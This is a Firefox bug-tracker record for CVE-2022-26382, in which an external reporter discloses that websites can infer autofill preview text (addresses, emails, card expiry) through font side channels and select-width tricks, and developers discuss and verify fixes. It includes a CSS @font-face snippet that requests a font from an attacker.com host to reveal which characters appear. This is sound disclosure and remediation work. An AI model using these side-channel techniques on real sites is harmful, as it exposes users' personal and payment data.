Closed Bug 1741888 (CVE-2022-26382) Opened 11 months ago Closed 8 months ago

Autofill preview text can disclose sensitive information

Categories

(Toolkit :: Form Autofill, defect, P1)

defect

Tracking

()

VERIFIED FIXED
98 Branch
Tracking Status
firefox-esr91 --- wontfix
firefox96 --- wontfix
firefox97 --- wontfix
firefox98 --- verified

People

(Reporter: y, Assigned: tgiles)

References

Details

(Keywords: csectype-disclosure, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][adv-main98+])

Attachments

(5 files, 2 obsolete files)

The previewed text of autofill, shown to the user when the user hovers over an autofill entry, contains sensitive information and should not be accessible by the website until the user selects it. However, several vulnerabilities exist that can be used to steal the preview text.

  1. Font side-channel attack
    The font of the preview text follows the style of the field, making it possible to set the font of the preview text. The website can use a specially crafted font to infer the preview text, of which glyphs differ in size or font face.

(1) Size
Each character can have different width, and content can be inferred from size properties such as scrollWidth. Similar attacks have been proposed and patched in Chromium: crbug.com/916838 (CVE-2019-5810), crbug.com/951487 (CVE-2019-5848), crbug.com/1013882 (CVE-2019-13737), crbug.com/1035058 (CVE-2020-6393), and crbug.com/1035063.

(2) Ligatures
Font ligatures with abnormal size can be used to detect if a specific sequence exists (https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/).

(3) Font face
'unicode-range' of '@font-face' can be used to detect used characters in the font, e.g., assigning a single character for each font-faces:

@font-face {
font-family: AutofillCheck;
src: url(https://attacker.com/font.woff2?a) format('woff2');
unicode-range: U+61; /* a */
}

W3C CSS Fonts Module Level 4 draft states:

For especially privacy-sensitive contexts, options would include never downloading any webfonts (at the risk that some characters may be rendered incorrectly, or not at all), or always downloading all webfonts whether needed or not (ignoring unicode-range, and potentially downloading vast quantities of unused fonts each time the page is viewed).
In addition, careful pairing of unicode-range and distinct src urls allows the third-party to see which characters are used on a page, which is a privacy risk for large character repertoire scripts such as CJK.

Whether a font face is loaded can be checked via the 'document.fonts.check()' API on the client-side or logging requests on the server-side.

(4) Chromium
Similar issues existed in Chromium, which other people and I've reported, and in response, they have pinned the preview font of <input> to -webkit-small-control: crrev.com/671647.

(5) Proposed fix
Pin the font family and size of the preview text to a system font, which stylesheets cannot override.

  1. Inferring the content
    (1) The credit card expiration date, U.S. states, countries, and most CJK words have an almost unique combination of used alphabets, so they can be reliably inferred.
    (2) A uniquely identifiable character, possibly a homograph or invisible character, can be added to <option>s and used to identify suggested options.
    (3) There is no limit on the number of <option>s that an autofill entry matches, so it can be used in brute-force and de-anonymization attacks.

(4) Proposed fix
Limit the number of <option>s that autofill entries can match

  1. Real-world risks and scenarios
    There are several bugs and tricks to enable autofill on hidden fields.

A legitimate form can use this to collect user information.

The autofill dialog can be activated by only two ArrowDown keypresses or a simple mouse action, which can be easily socially engineered into, e.g., phishing or disguised as a game.

The exploit takes only a few milliseconds and doesn't cause a noticeable delay. The popup will appear, but it'd be enough time to send information or make a purchase before the user notices, and it is dismissed if the focus is removed from the input, e.g., focusing on other elements or navigating away from the page.

  1. Mitigating factors and future considerations
    Currently, the autofill value is not filled multiple times, which can be used to reduce the search space. If it were to be implemented in the future, a reasonable limit on the number of the value filled should be put in place (crbug.com/1075734, CVE-2020-6521).
Flags: sec-bounty?

Are you able to attach or link to a live testcase that demonstrates some of these issues? I'm not super familiar with our autofill code but I would have thought that the panels we use to allow user selection of form autofill entries already do not use the web font of the site in question. This would be easy to verify with a testcase. The other reason for this question is to clarify exactly what kind of autofill we're talking about (we've got a few different types).

Component: Security → Form Autofill
Flags: needinfo?(y)
Product: Firefox → Toolkit
Attached file poc.html
  1. Versions
    Reproducible on:
  • 94.0.1 release
  • 96.0a1 nightly
  1. PoC
    (1) If Form Autofill is not enabled, enable it in about:config via extensions.formautofill.available: on, extensions.formautofill.creditCards.available: true, extensions.formautofill.supportedCountries: (add your country).
    (2) Add at least one credit card entry and one U.S address entry with a 3-letter Gmail email address in about:preferences#privacy
    (3) Serve the attached poc.html over a secure origin and navigate to the page (an online version is available in https://me94bk1usdv8c8tfybvy.netlify.app/cznsgpbx7mkaswmrkjgd.html)
    (4) Click on any input and hover the mouse over an autofill entry OR press the up or down arrow key on focused input to preview autofill.
    (5) The inferred content will appear below.
Flags: needinfo?(y)
Attached video PoC video
Type: task → defect

Young Min Kim, thanks for the detailed report and attaching both a video and PoC, makes it straightforward to reproduce the issue at hand.

:emilio, do you think there's any issue forcing autofill preview text to use a system font? See "(5) Proposed Fix" in comment #0 for more information. I tried changing input:-moz-autofill-preview to use font: system-ui !important but the previewed address content is still able to be inferred via the poc.html file, so I guess there's some other places in forms.css that I'm unaware of.

Young Min Kim, I'm not sure I understand "There is no limit on the number of <option>s that an autofill entry matches, so it can be used in brute-force and de-anonymization attacks". Are you saying that, using your video as an example, if an address entry had "New Jersey" as the state and there were multiple select <options>s that contained the values of "N", "JN", "JE", "RS", etc, the attack would be able to used these inferred characters to very accurately determine that the previewed content is "New Jersey"? Just trying to make sure I accurate understand what is going on here.

Severity: -- → S2
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(y)
Flags: needinfo?(emilio)
Priority: -- → P1

Ah okay, with font-family: system-ui !important on input:-moz-autofill-preview, that removing the inferring bit from the name and email field (and other free form text fields I would assume). There's still the issue of the "no limit on number of <options>s that an autofill entry matches" so I'll need to look deeper into that.

(In reply to Tim Giles [:tgiles] from comment #4)

Young Min Kim, I'm not sure I understand "There is no limit on the number of <option>s that an autofill entry matches, so it can be used in brute-force and de-anonymization attacks". Are you saying that, using your video as an example, if an address entry had "New Jersey" as the state and there were multiple select <options>s that contained the values of "N", "JN", "JE", "RS", etc, the attack would be able to used these inferred characters to very accurately determine that the previewed content is "New Jersey"? Just trying to make sure I accurate understand what is going on here.

Actually, it's the email part. There is no limit on the length of selectEl.options in FormAutofillUtils.findAddressSelectOption (https://searchfox.org/mozilla-central/rev/0f3e259c24e52932387318ac503bfad3c82baa44/toolkit/components/formautofill/FormAutofillUtils.jsm#814-822). I've tested Autofill successfully matches against 1000K <option>s. This makes possible a brute-force attack if partial value or specific pattern of the field is known, or a de-anonymization attack to test if the field value is included in the given list. The email field in the PoC demonstrates that if it is known that the user's email address consists of three alphabet letters and uses Gmail, it can be reliably inferred.

Chromium has a limit of 512 (https://source.chromium.org/chromium/chromium/src/+/main:components/autofill/core/common/autofill_data_validation.cc;l=17-19;drc=d805a11b69ccfc6376a1a5e05bfe603a4481c3a5) for technical reasons, to prevent sending too much data in IPC. However, it helped prevent these kinds of attacks, too.

Flags: needinfo?(y)

Rather than system-ui we should probably be using revert so that it goes back to the field system font. But yeah that seems like a reasonable fix. A bit unfortunate because the previewed bit will look different once it's actually inserted in the page though. Do you know if/other browsers suffer from the same kind of issue?

Flags: needinfo?(emilio)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #7)

Do you know if/other browsers suffer from the same kind of issue?

  • Chromium had the same issue and has pinned the font to -webkit-small-control, see comment #0 1-(4).
  • Safari doesn't show a preview for autofill.
Assignee: nobody → tgiles
Status: NEW → ASSIGNED

:emilio, :sgalich, does the following plan seem valid?

So synthesizing the information from the See Also chromium bugs, it looks like we need the following:

Outside of the chromium bugs, it looks like we need to do the following:

Flags: needinfo?(sgalich)
Flags: needinfo?(emilio)

(In reply to Tim Giles [:tgiles] | back on Nov 29 from comment #10)

That doesn't look right. Instead we should make sure that the preview text doesn't affect overflow. Does it affect overflow right now? I'd be a bit surprised but maybe we need to override this.

Pretty sure this is a non-issue.

Outside of the chromium bugs, it looks like we need to do the following:

Yeah, though do we want to change backgrounds as well like for <input>?

Flags: needinfo?(emilio)

(In reply to Tim Giles [:tgiles] from comment #10)

Yes, limiting to 512 is reasonable and looks like a simple change.

Flags: needinfo?(sgalich)

Dropping it here for the record.

html2canvas can not capture preview when screenshotting element.

getDisplayMedia() can be used to capture preview values, but it requires user's permission to capture.

More information on 1-(4); the initial fix implemented by Chromium could be bypassed with the ::first-line pseudo-element on <input> (https://crbug.com/1227170, https://crbug.com/1253101, CVE-2021-38004, not public yet) and was patched in https://crrev.com/932921.

The font of <select> was not pinned at that time, thus vulnerable (https://crbug.com/1253103, not public yet), and a patch is WIP in https://crrev.com/c/3231296.

Attached file poc-width.html (obsolete) —

(From comment #10 by Tim Giles [:tgiles])

For <select>, it seems it's possible to directly infer which option has been selected from the width, as the layout is changed during the preview if the <option> was not visible. Chromium is not vulnerable, as it calculates the width of <select> even from the hidden <option>s.

Please find attached the PoC, and the reproductions steps are identical to comment #2.

(In reply to Emilio Cobos Álvarez (:emilio) from comment #11)

That doesn't look right. Instead we should make sure that the preview text doesn't affect overflow. Does it affect overflow right now? I'd be a bit surprised but maybe we need to override this.

Forcing the overflow to be hidden in here seems to help prevent the attack (in addition to the other steps required). No idea what the downstream impact would be from forcing this overflow to be hidden though. Does this approach seem reasonable?

Yeah, though do we want to change backgrounds as well like for <input>?

If you're talking about this rule, I've got no strong opinion adding a select:autofill selector to it. I can't think of any cases where select elements would have images in them (but I'm sure that's a case) so I'm not sure what benefit we would get from adding this select:autofill selector (as long as we're thinking of the same thing re: changing backgrounds like <input>). Any opinions :emilio?

Flags: needinfo?(emilio)

(In reply to Tim Giles [:tgiles] from comment #16)

Forcing the overflow to be hidden in here seems to help prevent the attack (in addition to the other steps required). No idea what the downstream impact would be from forcing this overflow to be hidden though. Does this approach seem reasonable?

Sorta. You need to split it so it only applies to ::-moz-text-control-preview. So just adding a:

::-moz-text-control-preview { overflow: hidden }

Rule right after should do, I think.

If you're talking about this rule, I've got no strong opinion adding a select:autofill selector to it. I can't think of any cases where select elements would have images in them (but I'm sure that's a case) so I'm not sure what benefit we would get from adding this select:autofill selector (as long as we're thinking of the same thing re: changing backgrounds like <input>). Any opinions :emilio?

Well, right now an autofilled select is not distinguishable from a regular select, but an autofilled input is. But perhaps we don't need to add a background, that's probably tangential to this bug anyways.

Flags: needinfo?(emilio)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #17)

Sorta. You need to split it so it only applies to ::-moz-text-control-preview. So just adding a:

::-moz-text-control-preview { overflow: hidden }

Rule right after should do, I think.

Got it, thanks for that.

Well, right now an autofilled select is not distinguishable from a regular select, but an autofilled input is. But perhaps we don't need to add a background, that's probably tangential to this bug anyways.

Yeah, we have Bug 1740070 to fix <select>s from not being highlighted/reset accordingly.

With my current changes, the PoC attack site in Comment #2 is no longer able to infer address or credit card expiry information from preview. Now on to the new PoC width attack in Comment #15

Hmm, it seems as if my current changes also prevent the PoC width issue. I'm able to preview address information on the poc-width.html file in Comment #15, and the site is unable to infer the data from the preview.

Attached file poc-width.html (obsolete) —

(In reply to Tim Giles [:tgiles] from comment #16)

Forcing the overflow to be hidden in here seems to help prevent the attack (in addition to the other steps required). No idea what the downstream impact would be from forcing this overflow to be hidden though. Does this approach seem reasonable?

This doesn't seem to prevent <select> from changing its width if the <option> was initially hidden.

(In reply to Tim Giles [:tgiles] from comment #19)

Hmm, it seems as if my current changes also prevent the PoC width issue. I'm able to preview address information on the poc-width.html file in Comment #15, and the site is unable to infer the data from the preview.

This is because the PoC uses exact width matching, and widths change when the font is changed. Please find attached the updated PoC, which uses the matching font.

Attachment #9252525 - Attachment is obsolete: true

Thank you for the updated width PoC page, I'm able to reproduce the inferred state issue.

:emilio, what's your opinion on solving the following issue?
From Comment #15

For <select>, it seems it's possible to directly infer which option has been selected from the width, as the layout is changed during the preview if the <option> was not visible. Chromium is not vulnerable, as it calculates the width of <select> even from the hidden <option>s.

Should we make <select>s elements a fixed width where that fixed width is equal to the largest option, even if the option is hidden? My immediate concern is that doing something like this will break the layout of many sites (but I could obviously be wrong in that concern). But I mean, looking at how Chromium handles this situation, I guess we would be okay following Chromium's lead here if we can't figure out another solution.

Flags: needinfo?(emilio)

Another solution would be to make FormAutofillSection::previewFormFields skip hidden options.

Attachment #9253073 - Attachment description: Bug 1741888 - Fix autofill preview text not behaving as expected. r=sgalich!,emilio! → WIP: Bug 1741888 - Fix autofill preview text not behaving as expected. r=sgalich!,emilio!

Yeah, skipping hidden options would be preferable, as those can't be selected by the user anyways.

Flags: needinfo?(emilio)
Attachment #9253073 - Attachment description: WIP: Bug 1741888 - Fix autofill preview text not behaving as expected. r=sgalich!,emilio! → Bug 1741888 - Fix autofill preview text not behaving as expected. r=sgalich!,emilio!
Attached file poc-width.html

Sorry, it seems <option>s with a fixed width, e.g., option { width: 1px; }, can also fix the width of <select>. Please find attached the revised PoC. But I guess this is a layout issue, as widths of <option>s should have no meaning and not affect the <select>?

Attachment #9253107 - Attachment is obsolete: true

Thanks for the updated PoC, I appreciate trying to get this fixed correctly all at once.

:emilio, does it make sense to ignore any width styles of <option> elements? Would we need to fix the width of <select>'s based on their largest <option> or something? I'm not sure what the best solution is in this case. (and thanks for your patience for dealing with all my needinfo's!)

Flags: needinfo?(emilio)

(In reply to Tim Giles [:tgiles] from comment #26)

Thanks for the updated PoC, I appreciate trying to get this fixed correctly all at once.

:emilio, does it make sense to ignore any width styles of <option> elements? Would we need to fix the width of <select>'s based on their largest <option> or something? I'm not sure what the best solution is in this case. (and thanks for your patience for dealing with all my needinfo's!)

Hmm, not sure, I suspect not... It'd definitely be a behavior change. It seems chromium browsers ignore <option> layout in combobox select but not listbox <select>:

<!doctype html>                                                                                                                                                                                                                             
<style>
  option { width: 500px }
  option:first-child { width: 1px }
</style>
<select>
  <option>ABC</option>
  <option>DEF</option>
  <option>GHI</option>
</select>
<br>
<select multiple>
  <option>ABC</option>
  <option>DEF</option>
  <option>GHI</option>
</select>

I see how that can make certain amount of sense, though it's not as simple as restricting width. For example, we'd need to also restrict all font-related properties, and it's easy to miss others:

<!doctype html>
<select>
  <option>ABC</option>
  <option style="font-size: 1px">DEFGHIJK</option>                                                                                                                                                                                          
  <option>GHI</option>
</select>

So if we're going for that then we need quite a rework of the menulist layout. Just took a look at Chromium fwiw, and here's what they do: https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/layout/layout_box.cc;l=307;drc=32f574f6df1d37b0d9ed765fe138270414d79e49

(Note that they use the <option> style for text-transform, which I think is a bug and can be used for the same purposes as comment 25's width)...

Anyways, not really opposed to doing something like that I guess, but that's a rather big layout change (specially because we still have the non-e10s dropdown code around for the parent process... but we can look into removing it).

In any case given that, I doubt that should block fixing this bug.

Flags: needinfo?(emilio)
Depends on: 1744009

Let me give a shot at fixing the above and clean up <select> layout a bit in bug 1744009.

(ni? to remember filing the chromium bug about the select vs. option style)

Flags: needinfo?(emilio)

https://bugs.chromium.org/p/chromium/issues/detail?id=1283930 (I don't believe it's security-sensitive because the intrinsic size doesn't actually change).

Flags: needinfo?(emilio)
See Also: → 1745121

:emilio, do you have any resources on how to debug reftests or what I should be trying to do to fix this particular test? I haven't worked with reftests before so I have no idea what I should be doing in order to fix this issue. I really have no idea why making the text overflow hidden or setting the font to be system-ui would cause such a drastic change in number of differing pixels and cause the reftest to fail.

Flags: needinfo?(tgiles) → needinfo?(emilio)

The reftest analyzer link from the failure log suggests that something changed with the size of the field.

Did not know there was a reftest analyzer link, thanks for that information Ryan!

:emilio, so it appears that having the system-ui !important part for the input:-moz-autofill-preview selector is causing the reftest to fail. I'm not sure it makes sense to make the regular autofill input also be forced to use system-ui, but maybe that's what we do here? Maybe the reftest itself (== autofill-blank.html autofill-preview-blank.html) is no longer valid because of this system-ui change? Let me know what you think is an acceptable path forward here and appreciate the help as always

autofill arguably shouldn't change the size of the input (neither :autofill nor just the preview)... Does it do that on other browsers? Same for <select>.

For text inputs we can probably get away with setting the font-family only on the ::-moz-text-control-preview pseudo-element. For <select>, probably after bug 1744009 we don't need to do much? I would've expected the intrinsic sizing would request all the characters of all options regardless of whether they're displayed (though as I say it I think there are some escape hatches we should fix).

Flags: needinfo?(emilio)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #35)

autofill arguably shouldn't change the size of the input (neither :autofill nor just the preview)... Does it do that on other browsers? Same for <select>.

It doesn't appear to change on Chrome, but that's with me checking with my eyes and the inspector after autofilling. I'm not sure how to force elements in Chrome to be in an autofilled/preview autofill state using the console. Same thing for Safari, doesn't seem to change but that's checking with my eyes and the inspector after autofilling. The issue is the previewed blank state, so I haven't figured out a perfect way to emulate that on the other browsers.

For text inputs we can probably get away with setting the font-family only on the ::-moz-text-control-preview pseudo-element. For <select>, probably after bug 1744009 we don't need to do much? I would've expected the intrinsic sizing would request all the characters of all options regardless of whether they're displayed (though as I say it I think there are some escape hatches we should fix).

I'll try it and see if that prevents the potential leak given the previous test cases

Status: ASSIGNED → RESOLVED
Closed: 8 months ago
Resolution: --- → FIXED
Target Milestone: --- → 98 Branch

What the status of this feature on ESR91?

Group: firefox-core-security → core-security-release
Flags: needinfo?(tgiles)
Flags: needinfo?(tgiles)

(In reply to Ryan VanderMeulen [:RyanVM] from comment #38)

What the status of this feature on ESR91?

The changes in the dependency chain are too big and risky to back-port, unfortunately. I don't really see any safe "wallpaper" fix we could take back (disable downloadable fonts? probably wouldn't go over well).

Matthew: Heads up that we don't think we can safely back-port this fix to ESR. If you don't already, one fix Tor Browser could apply would be to disable downloaded fonts (doesn't fully fix the issue, but makes it harder)

Flags: needinfo?(sysrqb)
Flags: sec-bounty? → sec-bounty+

Tim, I noticed that the PoC for one of the many follow-up Chromium bugs (https://bugs.chromium.org/p/chromium/issues/detail?id=1013882) just overwrites the system-ui font with a @font-face declaration in CSS. Would this work against our solution too? If not, why?

Flags: needinfo?(tgiles)

No, system-ui can't be rewritten, it's a generic font family.

(In reply to Frederik Braun [:freddy] from comment #41)

Tim, I noticed that the PoC for one of the many follow-up Chromium bugs (https://bugs.chromium.org/p/chromium/issues/detail?id=1013882) just overwrites the system-ui font with a @font-face declaration in CSS. Would this work against our solution too? If not, why?

I'm going to defer to Emilio here. I tried to set up the PoC page attached to the linked chromium bug and was unable to see the alert mentioned (or even see the cc autocomplete menu like in Chrome), so I suppose our current solution mitigates the linked PoC attack.

Flags: needinfo?(tgiles)
Flags: needinfo?(sysrqb)
Flags: qe-verify+
QA Whiteboard: [post-critsmash-triage]

Verified - Fixed in Nightly 98.0a1 (build id: 20220201093942) and latest Nightly 99.0a1 (build id: 20220213214259), using Windows 10, macOS 11 and Ubuntu 20. We also verified the issue using different locales (US,CA,FR) using the poc and poc-width files attached.

Status: RESOLVED → VERIFIED
Flags: qe-verify+
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?][adv-main98+]
Attached file advisory.txt
Alias: CVE-2022-26382
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.